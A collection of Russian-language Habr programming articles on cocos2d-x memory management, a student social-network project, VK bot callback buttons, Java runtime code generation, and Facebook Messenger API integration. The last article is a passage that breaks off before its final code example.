Cocos2d-x — это «движок», а точнее — набор классов, который сильно упрощает разработку графических приложений для операционных систем таких как iOS, Android, Windows phone, Windows, а также для HTML 5. В отличии от сocos2d-iphone, cocos2d-x предполагает разработку на C++, поэтому он такой универсальный. Те, кто пишет на C++ знают, что вся ответственность за выделение и освобождение памяти лежит на плечах программиста. Но разработчики cocos2d-x не плохо позаботились об этом и встроили в свой замечательный движок пул объектов, который предполагает использование смарт-поинтеров или, другими словами, умных указателей.Умный указатель содержит счетчик своих клиентов, когда счетчик равен нулю, память, выделенная под объект, очищается. В этой статье я покажу, как правильно создавать и удалять объекты в cocos2d-x, чтобы избежать утечек памяти. Все объекты классов cocos2d-x являются умными указателями. Эту функциональность они получили от своего родителя CCObject, который является начальным звеном в иерархии библиотеки классов движка.
Обычно программист, который хочет создать объект в хипе, пишет такой код:
```
CMyObject* pObject = new CMyObject(); // допустим, что в CMyObject — объявлен конструктор без параметров.
```
В этом случае, в памяти создается CMyObject и указатель на него помещается в переменную pObject. После того как pObject больше не нужен надо вернуть память:
```
delete pObject;
```
Обычно в рабочих проектах создается много объектов, часто не в одном модуле приложения, и надо следить, чтобы по окончанию все они были удалены, иначе мы получаем memory leak. Чтобы избежать такой неприятности, в cocos2d-x для создания объектов принято использовать открытые статические функции. Особенно когда программист расширяет функциональность классов движка, он должен придерживаться этого правила, чтобы избежать утечек памяти.
Рассмотрим пример создания спрайта в cocos2d-x:
```
...
CCSprite* pSprite = CCSprite::create(«spritename.png»);
...
```
create — статическая функция — член класса CCSprite для cоздания объекта. Загляним в код этой функции:
```
CCSprite* CCSprite::create(const char *pszFileName)
{
CCSprite *pobSprite = new CCSprite();
if (pobSprite && pobSprite->initWithFile(pszFileName))
{
pobSprite->autorelease();
return pobSprite;
}
CC_SAFE_DELETE(pobSprite);
return NULL;
}
```
Сначала мы создаем объект, инициализируем его и с помощью кода:
```
pobSprite->autorelease();
```
добавляем в пул. Если инициализация прошла успешно, то нам вернется указатель на CCSprite, а если нет, то CC\_SAFE\_DELETE удалит pobSprite.
После выполнения этой функции, m\_uReference у нашего pSprite равна еденице и жить ему осталось до выхода из локальной функции, так как пул обновляется на каждом такте движка. Здесь надо быть осторожными: если pSprite глобальная в переделах класса, то она будет указывать на мусор. Чтобы этого не произошло, нам надо воспользоваться созданным объектом. Например, добавить спрайт на слой:
```
pLayer->addChild(pSprite);
```
, или в массив
```
pArray->addObject(pSprite);
```
и т. п. При каждом добавлении pSprite его m\_uReference будет увеличиваться, не обязательно на 1. Это специфика реализации движка, внутри которого свои рабочие списки, массивы и т.д., они тоже влияют на m\_uReference. А при каждом удалении pSprite, соответственно его m\_uReference будет уменьшаться. Можно самим увеличивать или уменьшать m\_uReference с помощью методов:
```
pSprite->retain(); // m_uReference +=1
pStrite->release(); // m_uReference -=1
```
Осторожно пользуйтесь данными методами, каждому retain() должен соответствовать вызов release(). Иначе объект останется в памяти и произойдет memory leak.
Теперь поговорим о расширении классов. Допустим, нам нужен объект, который почти как CCSprite, но с дополнительным функционалом, скажем Bonus.
Приведу пример объявления производного класса из своего проекта:
```
class TABonus:public CCSprite
{
TABonusType mType;
TABonus(b2World* world, float pX, float pY,TABonusType type);
virtual bool init();
public:
float pBegX, pBegY;
virtual ~TABonus();
static TABonus* create(b2World* world, float pX, float pY,TABonusType type);
inline TABonusType getType() {return mType;}
void update(float pSecondElapsed);
};
```
Обратите внимание, конструктор объявлен в закрытой секции — это значит, что непосредственное создание объекта запрещено. Для этого в классе объявлена статическая функция create.
Посмотрим код функции:
```
TABonus* TABonus::create(b2World* world, float pX, float pY,TABonusType type)
{
TABonus* pRet = new TABonus(world,pX,pY,type);
if (pRet->init())
{
pRet->autorelease();
return pRet;
}
CC_SAFE_DELETE(pRet);
return NULL;
}
```
Он подобен рассмотреному ранее. Теперь, для создания TABonus, надо использовать следующий код:
```
TABonus* pBonus = TABonus::create(world,pX,pY, btCoins);// pBonus ->m_uReference == 0
pLayer->addChild(pBonus); //pBonus->m_uReference>0
```
**Вывод:**
— Постарайтесь избегать создания объектов напрямую через оператор new, для этого используйте статические функции. Также при наследовании у производного класса надо писать свои статические функции.
— Чтобы удалить объект, надо убрать его из всех контейнеров, куда он был добавлен, тогда m\_uReference у него обнулится и память, выделенная под объект, вернется в кучу. Например, убрать pSprite со слоя:
```
pLayer->removeChild(pSprite, true);
```
или из массива:
```
pArray->removeObject(pSprite);
```
— Не используйте delete для объекта созданного в статической функции, ведь кроме Вас никто не знает, что объекта больше нет.
— Чтобы объект жил, надо увеличить его m\_uReference путем добавления в контейнер, либо вызовом retain().
Играйте по правилам и выигрывайте.
Спасибо за внимание. | https://habr.com/ru/post/205568/ | null | ru | null |
# Как мы делали и делаем memed
Бонжурики!
==========
В этом посте я хочу поделиться опытом организации проекта в условиях 11 класса. Я думаю, этот пост может быть полезен для школьников. Если Вам больше 18 лет — скорее всего, пост большой смысловой нагрузки нести не будет.
Немного о memed
---------------
Вот уже 2 месяца, как ведется разработка социальной сети [memed](http://memed.tk). Буду краток, чтобы опять не накинули тег "Я пиарюсь". Социальная сеть, где все, что только можно, крутится на мемах. Ими можно комментировать, их можно сохранять в коллекции… Идея понятна.
Начало
------
Идея написать похожий проект у меня крутилась почти весь 10 класс, но я не доводил до конца. Все упиралось в то, что проект разрастался, и один я пилить и дизайн, и код, и все что только вздумается не мог. Ну просто надоедало, кончалась мотивация и я забрасывал. Но довольно сильно поднаторев в веб разработке за первую половину 2017 года, я понял, что время пришло. Время доводить до конца.
И я начал писать. 8 августа я создал проект. Надо сказать, что летом у меня был забавный режим — я ложился спать утром, ~6-10 утра, а вставал часов в 5. Никому не нравилось, но ночью мне было комфортно работать.
Стеком стал Django на сервере, для обмена данных я решил использовать [JSON API](http://jsonapi.org/) спецификацию, а для фронтенда я решил использовать VueJS. Я на тот момент был знаком с ним поверхностно, но это только подстегивало интерес. Спустя неделю я понял, что влюбился в Vue.
База данных — PostgreSQL. Сервер с сайтом деплоится на [Heroku](http://heroku.com). Вполне хватает — когда не пользуешься, он спит, когда ты спишь — он тоже спит, когда работаешь — он тоже работает. Но главное — бесплатный))
К 12 августа я набросал каркас сайта — базовый функционал, аля авторизация, постинг, рейтинг. Кстати авторизацию я стал использовать через VK Open API. Я очень не люблю хранить пароли и вам не советую.
Так вот, я запилил крутую библиотеку размером в 350 строчек, которая позволяла бы мне удобно экпозить нужные поля, настраивать доступы и все такое.
```
class MessageSerializer(Serializer):
model = Message
name = Message.type()
def item_attributes(self, item):
requester = resolve_user(self.request)
if requester is None or item.dialog.participants.filter(id=requester.id).first() is None:
raise PermissionDenied
default_attributes = self.resolve_keys(item, ['text'])
default_attributes["timestamp"] = item.timestamp.timestamp()
return default_attributes
@staticmethod
def relationships_provider():
return {
'dialog': lambda item: item.dialog,
'author': lambda item: item.author,
'post_attachments': lambda item: item.post_attachments.all(),
}
class MessageRoute(ModelRoute):
model = Message
name = Message.type()
items_per_page = 50
serializer_class = MessageSerializer
def custom_endpoints(self):
return [
Endpoint("^$", "GET", lambda request: HttpResponseForbidden())
]
```
Вот пример ее использования. Мы реализуем 2 класса — Serializer и ModelRoute.
В первом мы описываем, какие поля и когда мы можем всовывать в ответ, а во втором — добавляем свои endpoint'ы. Жизнь становится легкой, а радость заполняет сознание разработчика.
Когда-нибудь я кину ее в опенсурс, но пока мне лениво. В любом случае, когда закину, то обновлю пост. Я не скрываю ее, ни в коем случае, но как-то лень))
Привлечение друзей
------------------
Поскольку я еще учусь в школе и довольно дружелюбен, то у меня много хороших друзей и товарищей, которые могут откликнуться на мои запросы.
В общем, написав в беседу класса, прекрасная [Арина](https://vk.com/kivi_dsgn) впряглась в проект и за интерес начала обсуждать со мной дизайн, делать макеты в фотошопе. Это было очень круто, в какой-то момент я даже не успевал за ее правками.
Вообще процесс дизайна проходил так: Арина делает макеты, кидает мне, я говорю, что в них плохо и почему(например, в мобильной версии что-то не поместится), или что цвета слишком яркие, или что-то еще, и запиливаю конечную версию на сайт.
### Тут я понял, что могу использовать силу друзей для того, чтобы набрать аудиторию альфа тестеров.
Я запостил у себя на странице небольшую запись с ссылкой на сайт и группу, попинал друзей в лс, чтобы зарепостили и вуаля — у меня есть ~40 ребятишек, которые периодически заходят на сайт, а потом долбят меня в лс, что где-то косяк. **С их помощью было обезврежено более 210 багов**.
Активная разработка
-------------------
Дальше в период с середины августа до конца сентября велась активная разработка. Количество строчек кода фронтенда возросло до 16 тысяч, а бекенда до 5.
Тут важно сказать про папу. Он был крайне недоволен, что я прихожу со школы часов в 5 и до часов 12 занимаюсь проектом, говорил только о нем. Тогда мы с ним серьезно поговорили, и я сказал, что мне нужно первые 2 месяца — сентябрь и октябрь, после чего я перестану тратить на проект так много времени и начну готовиться. Немного покряхтев, он согласился. <3
Не знаю, что можно еще написать про активную разработку; наверное, я допускаю ошибку, что практически забиваю на школу в этот период времени. Стоило больше уделять внимания математике.
Как, например, сделала Арина — и у нас стало значительно меньше времени, чтобы обсуждать дизайн, но это не так страшно: я уже поймал волну и мог делать новые компоненты в стилистике старых.
Зато появился [Илья](https://vk.com/ishav), который сделал нам лого. Прости, Илья, что так долго запарывал тебя с ним!
Рефакторинг
-----------
Практически весь октябрь я занимаюсь рефакторингом кода. С 16к строк фронтенда снизил до 13, бекенд практически не уменьшился — рукописная библиотека работала на славу.
Из некоторых примеров рефакторинга:
1) Оказывается, что делать блоки — компоненты Vue удобнее, чем делать блоки — html + общие css свойства. То есть вместо
```
...content...
```
Получается
```
....content....
```
Это удобнее по нескольким причинам, например, лучше смотрится в Vue dev tools дереве компонентов. Еще — править конкретный блок, где находится html, scss, js удобнее, чем искать нужный `_block-container.scss` и там что-то править. Когда все находится на одном экране, контекст не теряется, а вместе с ним и время.
2) Vuex. Я долго не хотел его добавлять, потому что очень не хотелось переделывать с локальных states на глобальные, но попробовав, сразу понял, что это круто. Кеширование — сила. Например, мне не нужно запрашивать с сервера `/user/me` каждый раз, когда нужно проверить, имею я права на изменения сообщества, своего профиля или чего либо. Или мне не нужно обновлять каждый раз мои "сообщества", если я уже из загрузил. В общем, Vuex — класс.
Конец разработки
----------------
Я планирую закончить активную разработку и рефакторинг к 20 октября. Последние 10 дней будут посвящены рекламе и работе с метриками.
Заключение
----------
Я не знаю, зачем я написал этот пост. Возможно, мне просто не с кем обсудить проект и рассказать все с самого начала. Тем не менее, вот списком мои советы тем, кто делает проекты будучи школьником:
1. Разумно распределяйте свое время. Не стоит уходить в крайности и прогуливать школу, чтобы больше времени тратить на проект. У Вас сейчас много времени, особенно если Вы еще не в 11 классе.
2. Используйте человеческие ресурсы, которые находятся рядом с Вами. Не стоит рассчитывать, что человек, которого Вы просите помочь, согласится и будет тратить столько же времени, сколько и Вы. Постарайтесь обговорить сразу, сколько времени вы готовы тратить на проект, чтобы потом не было сюрпризов. При общении с друзьями — сотрудниками старайтесь откидывать шутки, trashtalk и не отвлекаться. Если вы хотели в это время заниматься проектом, им и занимайтесь.
3. Ставьте реальные сроки. Изначально я думал, что к 1 сентября будет готов почти весь проект, но как оказалось, с 1 сентября я добавил 30% функционала. Когда срок обозначен, не стоит начинать заниматься 1234132432 часов в день. Если Вы регулярно уделяете проекту несколько часов, это уже продуктивнее.
4. Спите нормально. У меня есть небольшой сдвиг — если между тем, как я закончил работать и сном проходит меньше часа, то я не могу уснуть ни в какую. В голове куча мыслей, идей, возможных реализаций. Приходится считать овечек (не шучу), пока не успокоюсь. А еще — не стоит брать телефон в руки, когда ложишься спать. Гарантированные потерянные часы сна))
Чао! | https://habr.com/ru/post/339974/ | null | ru | null |
# В VK добавили Callback кнопки для ботов
Доброго времени суток, уважаемые жители Хабра.
Мой первый пост. Будет кратко, емко и надеюсь актуально.
9го июля ВК выкатил callback кнопки для чат-ботов. Телеграм ~~напрягся~~ сделал это ~~в 199...~~ давно. Самая популярная библиотека для разработки чат-ботов под ВК на Python — vk\_api (от разработчика [python273](https://habr.com/ru/users/python273/)). Ввиду того, что свежие правки в нее вносятся медленно, я взял на себя смелость сделать форк, дополнить его и описать небольшой пример использования.
Что сделано относительно исходной v11.80?
-----------------------------------------
1. Обновлены ограничения по клавиатуре (в соответствии с изменениями в API):
* не более 5 кнопок в строке (было 4);
* не более 10 и 6 строк для стандартного и inline представления соответственно (было 10 и там, и там);
* Default кнопка переименована в Secondary.
2. Добавлены callback-кнопки:
* новый тип события "message\_event" (клик по кнопке);
* новый метод "создать callback кнопку";
* добавлен example (анимация работы и код будут приведены ниже).
Виды callback кнопок
--------------------
У сallback кнопок 3 встроенных действия по клику (+ редактирование сообщения):
1. show\_snackbar — показать всплывающее сообщение (исчезает через 10 сек);
2. open\_link — открыть URL ссылку;
3. open\_app — открыть ВК приложение;
4. можно настроить редактирование текущего сообщения, дабы по клику можно было изменять клавиатуру + текст в текущем сообщении.
Как установить модифицированную библиотеку?
-------------------------------------------
```
pip install git+https://github.com/chebotarevmichael/vk_api
```
Инструкция по настройке группы
------------------------------
Если вы никогда не создавали свой бот, то это будет полезно. Все остальные могут пропустить этот раздел.
Код примера по частям
---------------------
**Импорты.** Думаю, с ними все понятно.
```
from vk_api import VkApi
from vk_api.utils import get_random_id
from vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType
from vk_api.keyboard import VkKeyboard, VkKeyboardColor
import json
```
**Настройка и запуск бота.** Указываем идентификатор и longpoll-токен группы.
Для использования кнопки "открыть ВК приложение" указываем идентификатор приложения и его владельца.
```
# Общие
GROUP_ID = '100...500'
GROUP_TOKEN = 'df2148cc7c664...токен_группы....df2148cc7c6642242531fad399'
API_VERSION = '5.120'
# для callback-кнопки "открыть приложение"
APP_ID = 100500 # id IFrame приложения
OWNER_ID = 123456 # id владельца приложения
# виды callback-кнопок
CALLBACK_TYPES = ('show_snackbar', 'open_link', 'open_app')
# Запускаем бот
vk_session = VkApi(token=GROUP_TOKEN, api_version=API_VERSION)
vk = vk_session.get_api()
longpoll = VkBotLongPoll(vk_session, group_id=GROUP_ID)
```
**Создаем два меню**
В первом меню — все 4 упомянутых выше действия кнопок.
Во втором — только кнопка "назад", возвращающая предыдущее меню.
.
```
# Настройки для обоих клавиатур
settings = dict(one_time=False, inline=True)
# №1. Клавиатура с 3 кнопками: "показать всплывающее сообщение", "открыть URL" и изменить меню (свой собственный тип)
keyboard_1 = VkKeyboard(**settings)
# pop-up кнопка
keyboard_1.add_callback_button(label='Покажи pop-up сообщение', color=VkKeyboardColor.SECONDARY, payload={"type": "show_snackbar", "text": "Это исчезающее сообщение"})
keyboard_1.add_line()
# кнопка с URL
keyboard_1.add_callback_button(label='Откртыть Url', color=VkKeyboardColor.POSITIVE, payload={"type": "open_link", "link": "https://vk.com/dev/bots_docs_5"})
keyboard_1.add_line()
# кнопка по открытию ВК-приложения
keyboard_1.add_callback_button(label='Открыть приложение', color=VkKeyboardColor.NEGATIVE, payload={"type": "open_app", "app_id": APP_ID, "owner_id": OWNER_ID, "hash": "anything_data_100500"})
keyboard_1.add_line()
# кнопка переключения на 2ое меню
keyboard_1.add_callback_button(label='Добавить красного ', color=VkKeyboardColor.PRIMARY, payload={"type": "my_own_100500_type_edit"})
# №2. Клавиатура с одной красной callback-кнопкой. Нажатие изменяет меню на предыдущее.
keyboard_2 = VkKeyboard(**settings)
# кнопка переключения назад, на 1ое меню.
keyboard_2.add_callback_button('Назад', color=VkKeyboardColor.NEGATIVE, payload={"type": "my_own_100500_type_edit"})
```
Запускаем long poll
-------------------
Запускаем действо. Если пользователь присылает текстовое сообщение — выдаем первое меню. Если это событие "клик по callback кнопке" — выполняем определенное действие (одно из 3+1 действий, упомянутых выше).
```
f_toggle: bool = False
for event in longpoll.listen():
# отправляем меню 1го вида на любое текстовое сообщение от пользователя
if event.type == VkBotEventType.MESSAGE_NEW:
if event.obj.message['text'] != '':
if event.from_user:
# Если клиент пользователя не поддерживает callback-кнопки,
# нажатие на них будет отправлять текстовые
# сообщения. Т.е. они будут работать как обычные inline кнопки.
if 'callback' not in event.obj.client_info['button_actions']:
print(f'Клиент {event.obj.message["from_id"]} не поддерж. callback')
vk.messages.send(
user_id=event.obj.message['from_id'],
random_id=get_random_id(),
peer_id=event.obj.message['from_id'],
keyboard=keyboard_1.get_keyboard(),
message=event.obj.message['text'])
# обрабатываем клики по callback кнопкам
elif event.type == VkBotEventType.MESSAGE_EVENT:
# если это одно из 3х встроенных действий:
if event.object.payload.get('type') in CALLBACK_TYPES:
# отправляем серверу указания как какую из кнопок обработать. Это заложено в
# payload каждой callback-кнопки при ее создании.
# Но можно сделать иначе: в payload положить свои собственные
# идентификаторы кнопок, а здесь по ним определить
# какой запрос надо послать. Реализован первый вариант.
r = vk.messages.sendMessageEventAnswer(
event_id=event.object.event_id,
user_id=event.object.user_id,
peer_id=event.object.peer_id,
event_data=json.dumps(event.object.payload))
# если это наша "кастомная" (т.е. без встроенного действия) кнопка, то мы можем
# выполнить edit сообщения и изменить его меню. Но при желании мы могли бы
# на этот клик открыть ссылку/приложение или показать pop-up. (см.анимацию ниже)
elif event.object.payload.get('type') == 'my_own_100500_type_edit':
last_id = vk.messages.edit(
peer_id=event.obj.peer_id,
message='ola',
conversation_message_id=event.obj.conversation_message_id,
keyboard=(keyboard_1 if f_toggle else keyboard_2).get_keyboard())
f_toggle = not f_toggle
if __name__ == '__main__':
print()
```
Как выглядит процесс
--------------------
.
Заключение
----------
Тот факт, что callback-кнопки наконец-то появились в ВК — радует. И пусть пока они работают только под мобильными приложениями, а в браузере — не поддерживают. Пусть в браузере inline-кнопки все еще не выравнивается по ширине. Все же их наличие хоть в каком-то виде — искренне радует меня, как разработчика коммерческого телеграмм-бота.
Теперь появилась возможность реализовать ВК-интерфейс для своего телеграм-бота, где в разы больше жителей РФ, т.е целевой аудитории. Этот факт заставляет мириться со всеми перечисленными неудобствами и минусами, и идти к горе, раз она не хочет идти к Магомеду. На скриншоте ниже реализация одного и того же интерфейса через callback-кнопки: справа в Телеграм, и слева — ВКонтакте.
.
Надеюсь, кому-то этот краткий обзор поможет начать использовать callback кнопки в своих ботах. Pull-request автору библиотеки отправлен.
p.s. изменения влиты основной код. | https://habr.com/ru/post/512412/ | null | ru | null |
# Ищем на java, оптимизация во время исполнения
С большим удовольствием ознакомился со статьями: [Возможности оптимизации в языках C и C++](http://habrahabr.ru/post/182356/) и [Скорости разработки и исполнения не достижимые на С](http://habrahabr.ru/post/182428/). В них детально разобрана оптимизация во время компиляции. Основным условием такой оптимизации является доступность значений большинства переменных на этапе компиляции. В реальном мире, к сожалению, такое встречается не всегда.
Давайте попробуем сделать нечто похожее, но уже в процессе исполнения программы. Для этого используем java, исполняющая система которой оптимизирует код на этапе исполнения. Плюс к этому позволяет создавать код на лету.
И так, условие задачи аналогичное — линейный поиск по массиву структур с фильтрами. Хотелось бы получить сопоставимое время выполнения и потребление памяти по сравнению с С/С++.
Для представления наших записей используем массив long'ов и класс обертку позволяющий с ними удобно работать: [CashAccountRow](https://github.com/scanban/java_search/blob/master/src/main/java/examples/data/CashAccountRow.java).
Вся остальная механика сосредоточена в классе [CashAccountStore](https://github.com/scanban/java_search/blob/master/src/main/java/examples/data/CashAccountStore.java).
В конструкторе заполняем нашу таблицу. CashAccountFinder обеспечивает примитвный DSL и формирует список предикатов. Поскольку для сравнения приведена реализация без генерации кода на лету, в предикате содержится элемент fieldGetter.
Функция compileList конвертирует Map в массив и сортирует в соответствии с селективностью.
Поиск без генерации кода:
```
public final int find(final CashAccountFinder finder) {
int rValue = 0;
CashAccountRow c = new CashAccountRow();
finder.compileList();
for(int i = 0; i < ROW_COUNT; ++i) {
if(finder.isMatched(c.setBitStorage(accountRows[i]))) { ++rValue; }
}
return rValue;
}
```
Для генерации кода на лету используем [Javassist](http://www.jboss.org/javassist). Функция find2 формирует имя генерируемого класса для поиска:
```
public final int find2(final CashAccountFinder finder) throws Throwable{
finder.compileList();
StringBuilder cname = new StringBuilder();
for(CashAccountFinder.PredicateHolder p: finder.predicateHolderArray) {
cname.append(p.field.toString());
}
```
Проверяет, создавали ли уже класс для этого набора и порядка предикатов:
```
if(classMapper.containsKey(cname.toString())) {
matcherBase = classMapper.get(cname.toString());
}
```
Если нет, то создает новый класс:
```
// Пул классов по умолчанию
ClassPool classPool = ClassPool.getDefault();
// Добавляем classpath из которого загружен базовый класс
// (нужно в случае нескольких активных classloader'ов,
// иначе не будет работать под application серверами, контейнерами и exec-maven-plugin )
classPool.insertClassPath(new ClassClassPath(this.getClass()));
// Загружаем базовый класс
CtClass base = classPool.get("examples.data.GenMatcherBase");
// Создаем пустой класс
CtClass gen = classPool.makeClass("examples.data.GenMatcher" + cname, base);
// Формируем функцию проверки записи на соответсвие
StringBuilder sb = new StringBuilder("public boolean c(examples.data.CashAccountRow r){ return ");
for(CashAccountFinder.PredicateHolder p: finder.predicateHolderArray) {
switch (p.field) {
case AGE:
sb.append("r.getAge() >= " + p.minValue + " && r.getAge() <= " + p.maxValue + " && ");
break;
case AMOUNT:
sb.append("r.getAmount() >= " + p.minValue + " && r.getAmount() <= " + p.maxValue + " && ");
break;
case CODE:
sb.append("r.getCode() >= " + p.minValue + " && r.getCode() <= " + p.maxValue + " && ");
break;
case GENDER:
sb.append("r.getGender() >= " + p.minValue + " && r.getGender() <= " + p.maxValue + " && ");
break;
case HEIGHT:
sb.append("r.getHeight() >= " + p.minValue + " && r.getHeight() <= " + p.maxValue + " && ");
break;
}
}
sb.append("true; }");
// И добавляем ее в класс
gen.addMethod(CtMethod.make(sb.toString(), gen));
// Добавляем класс к списку классов
matcherBase = (GenMatcherBase) gen.toClass().newInstance();
classMapper.put(cname.toString(), matcherBase);
```
Поиск:
```
CashAccountRow c = new CashAccountRow();
int rValue = 0;
for(int i = 0; i < ROW_COUNT; ++i) {
if(matcherBase.c(c.setBitStorage(accountRows[i]))) { ++rValue; }
}
```
В main запускаем поиск 2 раза. Первый запуск нужен для «разогрева», что бы jit и inlining отработали.
```
System.out.println("Warming up...");
store.find2(finder);
System.out.println("Running benchmark...");
long millis = System.currentTimeMillis();
int i = store.find2(finder);
long endMillis = System.currentTimeMillis();
```
JVM:
```
java version "1.7.0_21"
Java(TM) SE Runtime Environment (build 1.7.0_21-b11)
Java HotSpot(TM) 64-Bit Server VM (build 23.21-b01, mixed mode)
```
Результат запуска на Core I5-2500k 3.3GHz:
```
Warming up...
Generated code:
public boolean c(examples.data.CashAccountRow r){ return r.getAmount() >= 0 && r.getAmount() <= 0 && r.getHeight() >= 0 && r.getHeight() <= 0 && r.getGender() >= 0 && r.getGender() <= 0 && true; }
Running benchmark...
Number of records matched:38
Elapsed time:18ms
Used Memory:81MB
```
Результат работы программы из первой статьи на той же машине:
```
Generated rows: 10000000
C++-Searching...
C++-optimized search took 0.039000 seconds.
Found rows: 38
C-Searching...
C-search took 0.053000 seconds.
The C++ faster than C: 1.358974 times
Found rows: 38
```
Результат работы программы из второй статьи на той же машине:
```
Generated rows: 10000000
C++-Searching...
C++-optimized search took 0.012000 seconds
Found rows: 38
C-Searching...
C-search took 0.051000 seconds.
The C++ faster than C: 4.250000 times
Found rows: 38
```
Практически вровень со статически оптимизированной версией на C++. Код доступен на [GitHub.com](https://github.com/scanban/java_search). | https://habr.com/ru/post/182788/ | null | ru | null |
# Подключение fb messenger к чату на сайте
Добрый день. Начну с того что был сайт. В котором есть чат для пользователей. Ну как и в любом чат сервисе на сайтах, у него то же есть место для менеджеров. Которые должны отвечать на вопросы клиентов на сайте.
В ходе разработки проекта надо было подключить `fb api`для того что бы менеджеры сайта смогли общаться с клиентами сайта не только из админки, но и из своих профилей `fb messenger`*.*Вот и начали работу по подключению апи к сайту. Прочитав документацию и статьи в разных сайтах понял что нигде нет полной поэтапной инструкции.
И теперь когда я закончил все это дело, хотел поделиться моим опытом. И написать подробную статью для этого.
Я не буду углубляться на тему создания чата на сайте. По этому вопросу много написано в просторах интернета.
Допустим у нас есть сайт, с уже созданным чатом (node.js, socket.io).
Давайте разделим статью на 2 части.
**1. Ресурсы, которые нужны.
2. Написание кода.**
> **1. Ресурсы, которые нужны.**
>
>
Нам понадобиться приложение `fb` с определенными правами, который мы должны создать с верифицированным профилем fb. Для создания приложения можно зайти по этой [ссылке](https://developers.facebook.com/apps/). После создания приложения вы попадете в основные настройки. Там заполните все как говорит `fb`.
После надо настроить авторизацию через Facebook. Заходим в раздел и заполняем url обратного вызова. (Для локального тестирования можно задать домен так `https://localhost/some-url`)
И последняя часть настройки это надстройка `URL`-а обратного вызова для `webhook`. (это для того что бы messenger отправлял нам сообщения по этому адресу.)
Здесь обратите внимание на ***Маркер поддверждения(token).*** Этот маркер генерируйте вы, это не маркер авторизации.
Оно используется так.
Когда вы задаете `webhook url`, `fb` запрашивает этот `url` с маркером доступа который вы там написали. Что бы понять существует ли этот `url`, и принадлежит оно вам.
Для этого первым делом создайте маршрут на своем сайте который будет принимать запросы от messenger.
> **2. Написание кода.**
>
>
Приступим к написанию кода.
Нам нужно авторизоваться в `fb` и подключить нашу страницу к приложению который мы создали. После этого мы получим маркер доступа(`token`) для подключенной страницы (имеете ввиду что у `fb` есть много маркеров доступа, нам нужно именно маркер доступа для страницы)
Подробно об авторизации ножете прочитать в [документации](https://developers.facebook.com/docs/marketing-apis/overview/authentication/).
Напишем код для авторизации. (код написан в `php laravel`).
```
public function fbAuthorize(Request $request)
{
if (!auth()->user())
return redirect()->to('/');
$user_id = $request->get('user_id');
$code = $request->get('code');
$userMess = 'Internal Server Error. Please connect our support';
try {
if (!empty($code)) {
$userResponse = $this->fbService->getUserAccessToken($code);
if (!empty($userResponse)) {
$pageResponse = $this->fbService->getPageToken($userResponse->access_token);
if (!empty($pageResponse)) {
$pageProfile = $this->fbService->getPageProfilePicture($pageResponse->data[0]->id, $pageResponse->data[0]->access_token);
$profileImage = !empty($pageProfile->data) ? $pageProfile->data->url : '';
$data = [
'access_token' => $pageResponse->data[0]->access_token,
'page_id' => $pageResponse->data[0]->id,
'page_name' => $pageResponse->data[0]->name,
'page_image_url' => $profileImage,
'type' => 'page'
];
$this->fbService->createOrUpdateWithAuth($data, $user_id);
$this->fbService->subscribeWebHooks($pageResponse->data[0]->id, $pageResponse->data[0]->access_token);
$userMess = 'You fb page connected';
}
}
}
return redirect()
->back()
->with('success', $userMess);
} catch (Exception $e) {
return redirect()
->back()
->with('error', $e->getMessage());
}
}
```
Как видно из фрагмента кода, у нас есть написанный сервиз для запросов `fb api`.
Давайте первым делом поймем эту часть кода, потом перейдем дальше к написанию сервиса (наш сервис просто имеет несколько готовых методов для отправки curl запроса в `fb`).
Как происходит авторизация на `fb`.
Get запрос на определенный `url fb` с параметрами.
*https://www.facebook.com/v12.0/dialog/oauth?client\_id={$fbAppId}&redirect\_url={$redirectUrl}&scope=pages\_messaging,pages\_read\_engagement&state={$customParams}*
Обратите внимание на последний параметр в `url`, названный `state`. Это необязательный параметр. fb дает возможность добавить его если вам нужно какое то значение после перенаправления авторизации на ваш сайт.
После этого запроса fb предложит вам подключить страницу к приложению.
Далее происходит редирект на указанных url с параметром code.
Теперь давайте подробно пройдемся по сервису написанному для fb, который я выше упомянул.
Как видно в коде, сверху там я написал вот эти методы.
1. getUserAccessToken
2. getPageAccessToken
3. subscribeWebhooks
Fb api имеет множество маркеров доступа (`token`), и для того что бы мы могли отравить сообщение нашей странице нам нужен именно маркер доступа для страницы (с определенными правами - `scope`).
Для этого кода уже мы получили параметр code от первого `get` запроса, нам нужно с его помощью запросить маркер доступа пользователя (`user access token`).
Подробно по [ссылке](https://developers.facebook.com/docs/facebook-login/access-tokens#usertokens).
Вот код для получения user access token. Код написан с помощю пакета [guzzle http](https://docs.guzzlephp.org/en/stable/).
```
public function getUserAccessToken($code)
{
try {
$options = [
'headers' => [],
'query' => [
'code' => $code,
'client_id' => $this->fbAppId,
'client_secret' => $this->fbAppSecret,
'redirect_uri' => env('APP_URL') . '/api/fb-authorize'
]
];
$uri = "{$this->fbAppUrl}/oauth/access_token";
$response = $this->httpGet($uri, $options);
$response = $response->getBody()->getContents();
return json_decode($response);
} catch (\Exception $e) {
return ['success' => false, 'code' => $e->getCode(), 'message' => $e->getMessage()];
}
}
```
Здесь нечего сложного нет. Просто отправляем curl запрос на `fb api`, и получаем маркер доступа пользователя. Вот ещё пример запроса из документации `fb` для получения маркера пользователя.
```
curl -X GET "https://graph.facebook.com/oauth/access_token
?client_id={your-app-id}
&client_secret={your-app-secret}
&grant_type=client_credentials"
```
Далее когда уже у нас есть маркер пользователя, надо получить еще маркер доступа к странице(user access token).
Второй метод именно для этого. Вот пример кода.
```
public function getPageToken($userToken) {
$options = [
'headers' => [],
'query' => [
'access_token' => $userToken,
'scope' => 'pages_messaging'
]
];
$uri = $this->fbAppUrl.'/me/accounts';
$response = $this->httpGet($uri, $options);
$response = $response->getBody()->getContents();
return json_decode($response);
}
```
Здесь с помощю [guzzle http](https://docs.guzzlephp.org/en/stable/) анологичным образом делаем curl запрос и получаем token страницы. Примeр запроса из [документации](https://developers.facebook.com/docs/facebook-login/access-tokens#usertokens) fb.
```
curl -i -X GET "https://graph.facebook.com/me/accounts?access_token={user-access-token}
```
Обратите внимание на `curl` запрос `/me/accounts`. В документации вы увидите `/{your-user-id}/accounts`. Не знаю документация старая или по другой причине, если по fb id сделать запрос, то получите ошибку.
И второй момент, после этого запроса `fb` отпровляет нам не только маркер страницы(`page access token`) но и `id` страницы. Сохроните `id` то же. Дальше оно нам потребуется.
На этом этапе у нас уже все готово что бы отправлять сообщение на нашу страницу.
Теперь нам нужно подписаться на события сообщения. Что бы когда мы отправим сообщение из нашего messenger-а на страницу то `fb api` отпровлял это сообщение нам на сайт по указаннаму `url` адресу (`webhook url`), который мы задали в настройках нашего приложения.
Вот сам код для подписки на события сообщений.
```
